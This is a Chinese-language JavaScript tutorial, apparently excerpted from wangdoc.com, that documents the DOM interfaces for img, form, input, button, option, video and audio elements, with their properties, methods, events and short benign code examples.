
HTMLImageElement.naturalWidth,HTMLImageElement.naturalHeight

HTMLImageElement.naturalWidth属性表示图像的实际宽度(单位像素),HTMLImageElement.naturalHeight属性表示实际高度。这两个属性返回的都是整数。

如果图像还没有指定或不可得,这两个属性都等于0

1
2
3
4
var img = document.getElementById('img');
if (img.naturalHeight > img.naturalWidth) {
img.classList.add('portrait');
}

上面代码中,如果图片的高度大于宽度,则设为portrait模式。

HTMLImageElement.complete

HTMLImageElement.complete属性返回一个布尔值,表示图表是否已经加载完成。如果<img>元素没有src属性,也会返回true

HTMLImageElement.crossOrigin

HTMLImageElement.crossOrigin属性用于读写<img>元素的crossorigin属性,表示跨域设置。

这个属性有两个可能的值。

  • anonymous:跨域请求不要求用户身份(credentials),这是默认值。
  • use-credentials:跨域请求要求用户身份。
1
2
3
4
// HTML 代码如下
// <img crossorigin="anonymous" id="myImg" src="pic.jpg">
var img = document.getElementById('img');
img.crossOrigin // "anonymous"

HTMLImageElement.referrerPolicy

HTMLImageElement.referrerPolicy用来读写<img>元素的 HTML 属性referrerpolicy,表示请求图像资源时,如何处理 HTTP 请求的referrer字段。

它有五个可能的值。

  • no-referrer:不带有referrer字段。
  • no-referrer-when-downgrade:如果请求的地址不是 HTTPS 协议,就不带有referrer字段,这是默认值。
  • originreferrer字段是当前网页的地址,包含协议、域名和端口。
  • origin-when-cross-origin:如果请求的地址与当前网页是同源关系,那么referrer字段将带有完整路径,否则将只包含协议、域名和端口。
  • unsafe-urlreferrer字段包含当前网页的地址,除了协议、域名和端口以外,还包括路径。这个设置是不安全的,因为会泄漏路径信息。

HTMLImageElement.x,HTMLImageElement.y

HTMLImageElement.x属性返回图像左上角相对于页面左上角的横坐标,HTMLImageElement.y属性返回纵坐标。

事件属性

图像加载完成,会触发onload属性指定的回调函数。

1
2
3
4
// HTML 代码为 <img src="example.jpg" onload="loadImage()">
function loadImage() {
console.log('Image is loaded');
}

图像加载过程中发生错误,会触发onerror属性指定的回调函数。

1
2
3
4
// HTML 代码为 <img src="image.gif" onerror="myFunction()">
function myFunction() {
console.log('There is something wrong');
}

<form> 元素

<form>元素代表了表单,继承了 HTMLFormElement 接口。

HTMLFormElement 的实例属性

  • elements:返回一个类似数组的对象,成员是属于该表单的所有控件元素。该属性只读。
  • length:返回一个整数,表示属于该表单的控件数量。该属性只读。
  • name:字符串,表示该表单的名称。
  • method:字符串,表示提交给服务器时所使用的 HTTP 方法。
  • target:字符串,表示表单提交后,服务器返回的数据的展示位置。
  • action:字符串,表示表单提交数据的 URL。
  • enctype(或encoding):字符串,表示表单提交数据的编码方法,可能的值有application/x-www-form-urlencodedmultipart/form-datatext/plain
  • acceptCharset:字符串,表示服务器所能接受的字符编码,多个编码格式之间使用逗号或空格分隔。
  • autocomplete:字符串onoff,表示浏览器是否要对<input>控件提供自动补全。
  • noValidate:布尔值,表示是否关闭表单的自动校验。

HTMLFormElement 的实例方法

  • submit():提交表单,但是不会触发submit事件和表单的自动校验。
  • reset():重置表单控件的值为默认值。
  • checkValidity():如果控件能够通过自动校验,返回true,否则返回false,同时触发invalid事件。

下面是一个创建表单并提交的例子。

1
2
3
4
5
var f = document.createElement('form');
document.body.appendChild(f);
f.action = '/cgi-bin/some.cgi';
f.method = 'POST';
f.submit();

<input> 元素

<input>元素主要用于表单组件,它继承了 HTMLInputElement 接口。

HTMLInputElement 的实例属性

特征属性

  • name:字符串,表示<input>节点的名称。该属性可读写。
  • type:字符串,表示<input>节点的类型。该属性可读写。
  • disabled:布尔值,表示<input>节点是否禁止使用。一旦被禁止使用,表单提交时不会包含该<input>节点。该属性可读写。
  • autofocus:布尔值,表示页面加载时,该元素是否会自动获得焦点。该属性可读写。
  • required:布尔值,表示表单提交时,该<input>元素是否必填。该属性可读写。
  • value:字符串,表示该<input>节点的值。该属性可读写。
  • validity:返回一个ValidityState对象,表示<input>节点的校验状态。该属性只读。
  • validationMessage:字符串,表示该<input>节点的校验失败时,用户看到的报错信息。如果该节点不需要校验,或者通过校验,该属性为空字符串。该属性只读。
  • willValidate:布尔值,表示表单提交时,该<input>元素是否会被校验。该属性只读。

表单相关属性

  • form:返回<input>元素所在的表单(<form>)节点。该属性只读。
  • formAction:字符串,表示表单提交时的服务器目标。该属性可读写,一旦设置了这个属性,会覆盖表单元素的action属性。
  • formEncType:字符串,表示表单提交时数据的编码方式。该属性可读写,一旦设置了这个属性,会覆盖表单元素的enctype的属性。
  • formMethod:字符串,表示表单提交时的 HTTP 方法。该属性可读写,一旦设置了这个属性,会覆盖表单元素的method属性。
  • formNoValidate:布尔值,表示表单提交时,是否要跳过校验。该属性可读写,一旦设置了这个属性,会覆盖表单元素的formNoValidate属性。
  • formTarget:字符串,表示表单提交后,服务器返回数据的打开位置。该属性可读写,一旦设置了这个属性,会覆盖表单元素的target属性。

文本输入框的特有属性

以下属性只有在<input>元素可以输入文本时才有效。

  • autocomplete:字符串onoff,表示该<input>节点的输入内容可以被浏览器自动补全。该属性可读写。
  • maxLength:整数,表示可以输入的字符串最大长度。如果设为负整数,会报错。该属性可读写。
  • size:整数,表示<input>节点的显示长度。如果类型是textpassword,该属性的单位是字符个数,否则单位是像素。该属性可读写。
  • pattern:字符串,表示<input>节点的值应该满足的正则表达式。该属性可读写。
  • placeholder:字符串,表示该<input>节点的占位符,作为对元素的提示。该字符串不能包含回车或换行。该属性可读写。
  • readOnly:布尔值,表示用户是否可以修改该节点的值。该属性可读写。
  • min:字符串,表示该节点的最小数值或日期,且不能大于max属性。该属性可读写。
  • max:字符串,表示该节点的最大数值或日期,且不能小于min属性。该属性可读写。
  • selectionStart:整数,表示选中文本的起始位置。如果没有选中文本,返回光标在<input>元素内部的位置。该属性可读写。
  • selectionEnd:整数,表示选中文本的结束位置。如果没有选中文本,返回光标在<input>元素内部的位置。该属性可读写。
  • selectionDirection:字符串,表示选中文本的方向。可能的值包括forward(与文字书写方向一致)、backward(与文字书写方向相反)和none(文字方向未知)。该属性可读写。

复选框和单选框的特有属性

如果<input>元素的类型是复选框(checkbox)或单选框(radio),会有下面的特有属性。

  • checked:布尔值,表示该<input>元素是否选中。该属性可读写。
  • defaultChecked:布尔值,表示该<input>元素默认是否选中。该属性可读写。
  • indeterminate:布尔值,表示该<input>元素是否还没有确定的状态。一旦用户点击过一次,该属性就会变成false,表示用户已经给出确定的状态了。该属性可读写。

图像按钮的特有属性

如果<input>元素的类型是image,就会变成一个图像按钮,会有下面的特有属性。

  • alt:字符串,图像无法显示时的替代文本。该属性可读写。
  • height:字符串,表示该元素的高度(单位像素)。该属性可读写。
  • src:字符串,表示该元素的图片来源。该属性可读写。
  • width:字符串,表示该元素的宽度(单位像素)。该属性可读写。

文件上传按钮的特有属性

如果<input>元素的类型是file,就会变成一个文件上传按钮,会有下面的特有属性。

  • accept:字符串,表示该元素可以接受的文件类型,类型之间使用逗号分隔。该属性可读写。
  • files:返回一个FileList实例对象,包含了选中上传的一组File实例对象。

其他属性

  • defaultValue:字符串,表示该<input>节点的原始值。
  • dirName:字符串,表示文字方向。
  • accessKey:字符串,表示让该<input>节点获得焦点的某个字母键。
  • list:返回一个<datalist>节点,该节点必须绑定<input>元素,且<input>元素的类型必须可以输入文本,否则无效。该属性只读。
  • multiple:布尔值,表示是否可以选择多个值。
  • labels:返回一个NodeList实例,代表绑定当前<input>节点的<label>元素。该属性只读。
  • step:字符串,表示在min属性到max属性之间,每次递增或递减时的数值或时间。
  • valueAsDateDate实例,一旦设置,该<input>元素的值会被解释为指定的日期。如果无法解析该属性的值,<input>节点的值将是null
  • valueAsNumber:浮点数,当前<input>元素的值会被解析为这个数值。

HTMLInputElement 的实例方法

  • focus():当前<input>元素获得焦点。
  • blur():移除<input>元素的焦点。
  • select():选中<input>元素内部的所有文本。该方法不能保证<input>获得焦点,最好先用focus()方法,再用这个方法。
  • click():模拟鼠标点击当前的<input>元素。
  • setSelectionRange():选中<input>元素内部的一段文本,但不会将焦点转移到选中的文本。该方法接受三个参数,第一个参数是开始的位置(从0开始),第二个参数是结束的位置(不包括该位置),第三个参数是可选的,表示选择的方向,有三个可能的值(forwardbackward和默认值none)。
  • setRangeText():新文本替换选中的文本。该方法接受四个参数,第一个参数是新文本,第二个参数是替换的开始位置,第三个参数是结束位置,第四个参数表示替换后的行为(可选),有四个可能的值:select(选中新插入的文本)、start(选中的开始位置移到插入的文本之前)、end(选中的文本移到插入的文本之后)、preserve(保留原先选中的位置,默认值)。
  • setCustomValidity():该方法用于自定义校验失败时的报错信息。它的参数就是报错的提示信息。注意,一旦设置了自定义报错信息,该字段就不会校验通过了,因此用户重新输入时,必须将自定义报错信息设为空字符串,请看下面的例子。
  • checkValidity():返回一个布尔值,表示当前节点的校验结果。如果返回false,表示不满足校验要求,否则就是校验成功或不必校验。
  • stepDown():将当前<input>节点的值减少一个步长。该方法可以接受一个整数n作为参数,表示一次性减少n个步长,默认是1。有几种情况会抛错:当前<input>节点不适合递减或递增、当前节点没有step属性、<input>节点的值不能转为数字、递减之后的值小于min属性或大于max属性。
  • stepUp():将当前<input>节点的值增加一个步长。其他与stepDown()方法相同。

下面是setSelectionRange()方法的一个例子。

1
2
3
4
5
6
7
8
9
10
/* HTML 代码如下
<p><input type="text" id="mytextbox" size="20" value="HelloWorld"/></p>
<p><button onclick="SelectText()">选择文本</button></p>
*/

function SelectText() {
var input = document.getElementById('mytextbox');
input.focus();
input.setSelectionRange(2, 5);
}

上面代码中,点击按钮以后,会选中llo三个字符。

下面是setCustomValidity()的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* HTML 代码如下
<form id="form">
<input id="field" type="text" pattern="[a-f,0-9]{4}" autocomplete=off>
</form>
*/

const form = document.querySelector('#form');
const field = document.querySelector('#field');

form.addEventListener('submit', (e) => {
e.preventDefault(); // 防止这个例子发出 POST 请求
});

field.oninvalid = (event) => {
event.target.setCustomValidity('必须是一个 4 位十六进制数');
}

field.oninput = (event) => {
event.target.setCustomValidity('');
}

上面代码中,输入框必须输入一个4位的十六进制数。如果不满足条件(比如输入xxx),按下回车键以后,就会提示自定义的报错信息。一旦自定义了报错信息,输入框就会一直处于校验失败状态,因此重新输入时,必须把自定义报错信息设为空字符串。另外,为了避免自动补全提示框遮住报错信息,必须将输入框的autocomplete属性关闭。

<button> 元素

<button>元素继承了HTMLButtonElement接口。它有以下的实例属性。

(1)HTMLButtonElement.accessKey

HTMLButtonElement.accessKey属性返回一个字符串,表示键盘上对应的键,通过Alt + 这个键可以让按钮获得焦点。该属性可读写。

(2)HTMLButtonElement.autofocus

HTMLButtonElement.autofocus属性是一个布尔值,表示页面加载过程中,按钮是否会自动获得焦点。该属性可读写。

(3)HTMLButtonElement.disabled

HTMLButtonElement.disabled属性是一个布尔值,表示该按钮是否禁止点击。该属性可读写。

(4)HTMLButtonElement.form

HTMLButtonElement.form属性是一个表单元素,返回该按钮所在的表单。该属性只读。如果按钮不属于任何表单,该属性返回null

(5)HTMLButtonElement.formAction

HTMLButtonElement.formAction返回一个字符串,表示表单提交的 URL。该属性可读写,一旦设置了值,点击按钮就会提交到该属性指定的 URL,而不是<form>元素指定的 URL。

(6)HTMLButtonElement.formEnctype

HTMLButtonElement.formEnctype属性是一个字符串,表示数据提交到服务器的编码类型。该属性可读写,一旦设置了值,点击按钮会按照该属性指定的编码方式,而不是<form>元素指定的编码方式。

该属性可以取以下的值。

  • application/x-www-form-urlencoded(默认值)
  • multipart/form-data(上传文件的编码方式)
  • text/plain

(7)HTMLButtonElement.formMethod

HTMLButtonElement.formMethod属性是一个字符串,表示浏览器提交表单的 HTTP 方法。该属性可读写,一旦设置了值,点击后就会采用该属性指定的 HTTP 方法,而不是<form>元素指定的编码方法。

(8)HTMLButtonElement.formNoValidate

HTMLButtonElement.formNoValidate属性是一个布尔值,表示点击按钮提交表单时,是否要跳过表单校验的步骤。该属性可读写,一旦设置会覆盖<form>元素的novalidate属性。

(9)HTMLButtonElement.formTarget

HTMLButtonElement.formTarget属性是一个字符串,指定了提交了表单以后,哪个窗口展示服务器返回的内容。该属性可读写,一旦设置会覆盖<form>元素的target属性。

(10)HTMLButtonElement.labels

HTMLButtonElement.labels返回NodeList实例,表示那些绑定按钮的<label>元素。该属性只读。

1
2
3
4
5
6
7
8
9
10
11
12
13
/* HTML 代码如下
<label id="label1" for="test">Label 1</label>
<button id="test">Button</button>
<label id="label2" for="test">Label 2</label>
*/

const button = document.getElementById('test');

for(var i = 0; i < button.labels.length; i++) {
console.log(button.labels[i].textContent);
}
// "Label 1"
// "Label 2"

上面代码中,两个<label>元素绑定<button>元素。button.labels返回这两个<label>元素。

(11)HTMLButtonElement.name

HTMLButtonElement.name属性是一个字符串,表示按钮元素的name属性。如果没有设置name属性,则返回空字符串。该属性可读写。

(12)HTMLButtonElement.tabIndex

HTMLButtonElement.tabIndex是一个整数,代表按钮元素的 Tab 键顺序。该属性可读写。

(13)HTMLButtonElement.type

HTMLButtonElement.type属性是一个字符串,表示按钮的行为。该属性可读写,可能取以下的值。

  • submit:默认值,表示提交表单。
  • reset:重置表单。
  • button:没有任何默认行为。

(14)HTMLButtonElement.validationMessage

HTMLButtonElement.validationMessage属性是一个字符串,表示没有通过校验时显示的提示信息。该属性只读。

(15)HTMLButtonElement.validity

HTMLButtonElement.validity属性返回该按钮的校验状态(ValidityState)。该属性只读。

(16)HTMLButtonElement.value

HTMLButtonElement.value属性返回该按钮绑定的值。该属性可读写。

(17)HTMLButtonElement.willValidate

HTMLButtonElement.willValidate属性是一个布尔值,表示该按钮提交表单时是否将被校验,默认为false。该属性只读。

<option> 元素

<option>元素表示下拉框(<select><optgroup><datalist>)里面的一个选项。它是 HTMLOptionElement 接口的实例。

属性

除了继承 HTMLElement 接口的属性和方法,HTMLOptionElement 接口具有下面的属性。

  • disabled:布尔值,表示该项是否可选择。
  • defaultSelected:布尔值,表示该项是否默认选中。一旦设为true,该项的值就是<select>的默认值。
  • form:返回<option>所在的表单元素。如果不属于任何表单,则返回null。该属性只读。
  • index:整数,表示该选项在整个下拉列表里面的位置。该属性只读。
  • label:字符串,表示对该选项的说明。如果该属性未设置,则返回该选项的文本内容。
  • selected:布尔值,表示该选项是否选中。
  • text:字符串,该选项的文本内容。
  • value:字符串,该选项的值。表单提交时,上传的就是选中项的这个属性。

Option() 构造函数

浏览器原生提供Option()构造函数,用来生成 HTMLOptionElement 实例。

1
new Option(text, value, defaultSelected, selected)

它接受四个参数,都是可选的。

  • text:字符串,表示该选项的文本内容。如果省略,返回空字符串。
  • value:字符串,表示该选项的值。如果省略,默认返回text属性的值。
  • defaultSelected:布尔值,表示该项是否默认选中,默认为false。注意,即使设为true,也不代表该项的selected属性为true
  • selected:布尔值,表示该项是否选中,默认为false
1
2
3
4
5
6
var newOption = new Option('hello', 'world', true);

newOption.text // "hello"
newOption.value // "world"
newOption.defaultSelected // true
newOption.selected // false

上面代码中,newOptiondefaultSelected属性为true,但是它没有被选中(即selected属性为false)。

<video><audio>

概述

<video>元素用来加载视频,是HTMLVideoElement对象的实例。<audio>元素用来加载音频,是HTMLAudioElement对象的实例。而HTMLVideoElementHTMLAudioElement都继承了HTMLMediaElement,所以这两个 HTML 元素有许多共同的属性和方法,可以放在一起介绍。

理论上,这两个 HTML 元素直接用src属性指定媒体文件,就可以使用了。

1
2
<audio src="background_music.mp3"/>
<video src="news.mov" width=320 height=240/>

注意,<video>元素有width属性和height属性,可以指定宽和高。<audio>元素没有这两个属性,因为它的播放器外形是浏览器给定的,不能指定。

实际上,不同的浏览器支持不同的媒体格式,我们不得不用<source>元素指定同一个媒体文件的不同格式。

1
2
3
4
<audio id="music">
<source src="music.mp3" type="audio/mpeg">
<source src="music.ogg" type='audio/ogg; codec="vorbis"'>
</audio>

浏览器遇到支持的格式,就会忽略后面的格式。

这两个元素都有一个controls属性,只有打开这个属性,才会显示控制条。注意,<audio>元素如果不打开controls属性,根本不会显示,而是直接在背景播放。

HTMLMediaElement 接口

HTMLMediaElement并没有对应的 HTML 元素,而是作为<video><audio>的基类,定义一些它们共同的属性和方法。

HTMLMediaElement接口有以下属性。

  • HTMLMediaElement.audioTracks:返回一个类似数组的对象,表示媒体文件包含的音轨。
  • HTMLMediaElement.autoplay:布尔值,表示媒体文件是否自动播放,对应 HTML 属性autoplay
  • HTMLMediaElement.buffered:返回一个 TimeRanges 对象,表示浏览器缓冲的内容。该对象的length属性返回缓存里面有多少段内容,start(rangeId)方法返回指定的某段内容(从0开始)开始的时间点,end()返回指定的某段内容结束的时间点。该属性只读。
  • HTMLMediaElement.controls:布尔值,表示是否显示媒体文件的控制栏,对应 HTML 属性controls
  • HTMLMediaElement.controlsList:返回一个类似数组的对象,表示是否显示控制栏的某些控件。该对象包含三个可能的值:nodownloadnofullscreennoremoteplayback。该属性只读。
  • HTMLMediaElement.crossOrigin:字符串,表示跨域请求时是否附带用户信息(比如 Cookie),对应 HTML 属性crossorigin。该属性只有两个可能的值:anonymoususe-credentials
  • HTMLMediaElement.currentSrc:字符串,表示当前正在播放的媒体文件的绝对路径。该属性只读。
  • HTMLMediaElement.currentTime:浮点数,表示当前播放的时间点。
  • HTMLMediaElement.defaultMuted:布尔值,表示默认是否关闭音量,对应 HTML 属性muted
  • HTMLMediaElement.defaultPlaybackRate:浮点数,表示默认的播放速率,默认是1.0。
  • HTMLMediaElement.disableRemotePlayback:布尔值,是否允许远程回放,即远程回放的时候是否会有工具栏。
  • HTMLMediaElement.duration:浮点数,表示媒体文件的时间长度(单位秒)。如果当前没有媒体文件,该属性返回0。该属性只读。
  • HTMLMediaElement.ended:布尔值,表示当前媒体文件是否已经播放结束。该属性只读。
  • HTMLMediaElement.error:返回最近一次报错的错误对象,如果没有报错,返回null
  • HTMLMediaElement.loop:布尔值,表示媒体文件是否会循环播放,对应 HTML 属性loop
  • HTMLMediaElement.muted:布尔值,表示音量是否关闭。
  • HTMLMediaElement.networkState:当前网络状态,共有四个可能的值。0表示没有数据;1表示媒体元素处在激活状态,但是还没开始下载;2表示下载中;3表示没有找到媒体文件。
  • HTMLMediaElement.paused:布尔值,表示媒体文件是否处在暂停状态。该属性只读。
  • HTMLMediaElement.playbackRate:浮点数,表示媒体文件的播放速度,1.0是正常速度。如果是负数,表示向后播放。
  • HTMLMediaElement.played:返回一个 TimeRanges 对象,表示播放的媒体内容。该属性只读。
  • HTMLMediaElement.preload:字符串,表示应该预加载哪些内容,可能的值为nonemetadataauto
  • HTMLMediaElement.readyState:整数,表示媒体文件的准备状态,可能的值为0(没有任何数据)、1(已获取元数据)、2(可播放当前帧,但不足以播放多个帧)、3(可以播放多帧,至少为两帧)、4(可以流畅播放)。该属性只读。
  • HTMLMediaElement.seekable:返回一个 TimeRanges 对象,表示一个用户可以搜索的媒体内容范围。该属性只读。
  • HTMLMediaElement.seeking:布尔值,表示媒体文件是否正在寻找新位置。该属性只读。
  • HTMLMediaElement.src:布尔值,表示媒体文件的 URL,对应 HTML 属性src
  • HTMLMediaElement.srcObject:返回src属性对应的媒体文件资源,可能是MediaStreamMediaSourceBlobFile对象。直接指定这个属性,就可以播放媒体文件。
  • HTMLMediaElement.textTracks:返回一个类似数组的对象,包含所有文本轨道。该属性只读。
  • HTMLMediaElement.videoTracks:返回一个类似数组的对象,包含多有视频轨道。该属性只读。
  • HTMLMediaElement.volume:浮点数,表示音量。0.0 表示静音,1.0 表示最大音量。

HTMLMediaElement接口有如下方法。

  • HTMLMediaElement.addTextTrack():添加文本轨道(比如字幕)到媒体文件。
  • HTMLMediaElement.captureStream():返回一个 MediaStream 对象,用来捕获当前媒体文件的流内容。
  • HTMLMediaElement.canPlayType():该方法接受一个 MIME 字符串作为参数,用来判断这种类型的媒体文件是否可以播放。该反复返回一个字符串,有三种可能的值,probably表示似乎可播放,maybe表示无法在不播放的情况下判断是否可播放,空字符串表示无法播放。
  • HTMLMediaElement.fastSeek():该方法接受一个浮点数作为参数,表示指定的时间(单位秒)。该方法将媒体文件移动到指定时间。
  • HTMLMediaElement.load():重新加载媒体文件。
  • HTMLMediaElement.pause():暂停播放。该方法没有返回值。
  • HTMLMediaElement.play():开始播放。该方法返回一个 Promise 对象。

下面是play()方法的一个例子。

1
2
3
4
5
6
7
8
9
10
var myVideo = document.getElementById('myVideoElement');

myVideo
.play()
.then(() => {
console.log('playing');
})
.catch((error) => {
console.log(error);
});

HTMLVideoElement 接口

HTMLVideoElement接口代表了<video>元素。这个接口继承了HTMLMediaElement接口,并且有一些自己的属性和方法。

HTMLVideoElement 接口的属性。

  • HTMLVideoElement.height:字符串,表示视频播放区域的高度(单位像素),对应 HTML 属性height
  • HTMLVideoElement.width:字符串,表示视频播放区域的宽度(单位像素),对应 HTML 属性width
  • HTMLVideoElement.videoHeight:该属性只读,返回一个整数,表示视频文件自身的高度(单位像素)。
  • HTMLVideoElement.videoWidth:该属性只读,返回一个整数,表示视频文件自身的宽度(单位像素)。
  • HTMLVideoElement.poster:字符串,表示一个图像文件的 URL,用来在无法获取视频文件时替代显示,对应 HTML 属性poster

HTMLVideoElement 接口的方法。

  • HTMLVideoElement.getVideoPlaybackQuality():返回一个对象,包含了当前视频回访的一些数据。

HTMLAudioElement 接口

HTMLAudioElement接口代表了<audio>元素。

该接口继承了HTMLMediaElement,但是没有定义自己的属性和方法。浏览器原生提供一个Audio()构造函数,返回的就是HTMLAudioElement实例。

1
var song = new Audio([URLString]);

Audio()构造函数接受一个字符串作为参数,表示媒体文件的 URL。如果省略这个参数,可以稍后通过src属性指定。

生成HTMLAudioElement实例以后,不用插入 DOM,可以直接用play()方法在背景播放。

1
2
3
4
5
var a = new Audio();
if (a.canPlayType('audio/wav')) {
a.src = 'soundeffect.wav';
a.play();
}

事件

<video><audio>元素有以下事件。

  • loadstart:开始加载媒体文件时触发。
  • progress:媒体文件加载过程中触发,大概是每秒触发2到8次。
  • loadedmetadata:媒体文件元数据加载成功时触发。
  • loadeddata:当前播放位置加载成功后触发。
  • canplay:已经加载了足够的数据,可以开始播放时触发,后面可能还会请求数据。
  • canplaythrough:已经加载了足够的数据,可以一直播放时触发,后面不需要继续请求数据。
  • suspend:已经缓冲了足够的数据,暂时停止下载时触发。
  • stalled:尝试加载数据,但是没有数据返回时触发。
  • play:调用play()方法时或自动播放启动时触发。如果已经加载了足够的数据,这个事件后面会紧跟playing事件,否则会触发waiting事件。
  • waiting:由于没有足够的缓存数据,无法播放或播放停止时触发。一旦缓冲数据足够开始播放,后面就会紧跟playing事件。
  • playing:媒体开始播放时触发。
  • timeupdate:currentTime属性变化时触发,每秒可能触发4到60次。
  • pause:调用pause()方法、播放暂停时触发。
  • seeking:脚本或者用户要求播放某个没有缓冲的位置,播放停止开始加载数据时触发。此时,seeking属性返回true
  • seeked:seeking属性变回false时触发。
  • ended:媒体文件播放完毕时触发。
  • durationchange:duration属性变化时触发。
  • volumechange:音量变回或者静音时触发。
  • ratechange:播放速度或默认的播放速度变化时触发。
  • abort:停止加载媒体文件时触发,通常是用户主动要求停止下载。
  • error:网络或其他原因导致媒体文件无法加载时触发。
  • emptied:由于errorabort事件导致networkState属性变成无法获取数据时触发。

摘自

https://wangdoc.com/javascript

-------文章到此结束  感谢您的阅读-------